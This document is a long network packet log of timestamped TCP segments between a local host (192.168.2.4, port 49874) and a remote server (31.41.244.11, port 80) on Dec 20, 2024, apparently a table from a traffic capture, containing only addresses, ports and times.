Dec 20, 2024 09:12:51.068125010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.068188906 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.068223953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.069004059 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.069061041 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.069084883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.069123983 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.069993019 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.070169926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.070226908 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.070943117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.070976973 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.071037054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.071933031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.071996927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.072062969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.072247028 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.072820902 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.072876930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.072941065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.072983027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.073771954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.073815107 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.073880911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.073934078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.074743986 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.074812889 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.074872971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.074942112 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.075671911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.075830936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.075875044 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.076636076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.076788902 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.076807022 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.076838970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.077560902 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.077620029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.077682972 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.077830076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.078515053 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.078557014 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.078639984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.078677893 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.079468012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.079518080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.079580069 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.079731941 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.080483913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.080533028 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.080601931 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.080650091 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.081373930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.081435919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.081490993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.081603050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.082334042 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.082391024 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.082448959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.082495928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.083338022 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.083496094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.083563089 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.084235907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.084287882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.084301949 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.084336042 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.227116108 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.227176905 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.227226973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.227266073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.227508068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.227571964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.227615118 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.227788925 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.228441000 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.228493929 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.228513956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.228555918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.229374886 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.229434967 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.229470968 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.229515076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.230330944 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.230397940 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.230511904 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.230614901 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.231275082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.231410027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.231462955 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.232271910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.232326984 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.232352972 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.232400894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.233246088 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.233304977 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.233328104 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.233376026 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.234122992 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.234181881 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.234277010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.234383106 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.235086918 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.235188007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.235236883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.236061096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.236119032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.236166954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.236386061 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.236989975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.237045050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.237121105 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.237166882 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.237925053 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.238007069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.238033056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.238244057 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.238874912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.238928080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.239001036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.239142895 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.239861012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.239903927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.239948034 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.239988089 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.240792990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.240838051 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.240874052 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.240926027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.241766930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.241835117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.241878033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.242036104 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.242687941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.242746115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.242780924 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.242824078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.243635893 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.243707895 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.243777037 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.243828058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.244600058 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.244643927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.244680882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.244724035 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.245539904 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.245594978 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.245620012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.245662928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.246512890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.246579885 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.246623039 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.246783972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.247541904 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.247667074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.247721910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.248439074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.248528004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.248544931 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.248589993 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.249412060 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.249471903 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.249558926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.249687910 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.250312090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.250364065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.250397921 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.250439882 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.251231909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.251337051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.251393080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.252227068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.252290010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.252317905 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.252368927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.253262043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.253374100 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.253427982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.254086018 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.254137039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.254199982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.254345894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.255048990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.255096912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.255203009 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.256072044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.256115913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.256133080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.256175041 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.256951094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.257013083 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.257148981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.257213116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.257898092 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.257947922 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.258009911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.258049965 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.258858919 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.258953094 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.258977890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.259043932 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.259810925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.259871006 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.259916067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.259957075 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.260746002 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.260837078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.260874033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.260915041 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.261712074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.261821985 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.261867046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.262651920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.262692928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.262804985 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.262938976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.263605118 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.263645887 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.263710976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.263751030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.264559031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.264600039 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.264663935 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.264703989 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.265543938 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.265594959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.265675068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.265716076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.266468048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.266510010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.266597033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.266659021 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.267431021 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.267474890 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.267616034 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.267654896 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.268361092 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.268405914 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.268450975 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.268488884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.269306898 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.269354105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.269397020 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.269465923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.270260096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.270361900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.270402908 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.271224976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.271266937 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.271348000 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.271528959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.272170067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.272214890 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.272258043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.272407055 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.273108006 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.273154020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.273260117 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.273299932 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.274080038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.274122953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.274168015 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.274209023 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.275012016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.275058031 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.275106907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.275218964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.275971889 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.276015997 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.276073933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.276254892 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.276878119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.277159929 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.419123888 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.419203997 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.419255018 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.419625998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.419687033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.419715881 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.419775009 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.420533895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.420581102 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.420655966 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.420696020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.421499014 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.421544075 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.421574116 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.421613932 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.422467947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.422516108 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.422548056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.422599077 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.423386097 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.423434019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.423469067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.423515081 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.424297094 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.424360991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.424423933 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.424469948 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.425276041 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.425331116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.425373077 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.425420046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.426207066 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.426320076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.426368952 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.427192926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.427242994 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.427328110 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.427833080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.428112984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.428159952 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.428210020 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.428256989 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.429053068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.429095984 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.429162025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.429199934 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.430032969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.430084944 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.430126905 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.430170059 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.430986881 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.431031942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.431075096 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.431114912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.431974888 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.432023048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.432087898 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.432133913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.432893038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.432954073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.432959080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.433005095 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.433811903 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.433924913 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:51.433936119 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.433967113 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:51.434786081 CET	80	49874	31.41.244.11	192.168.2.4
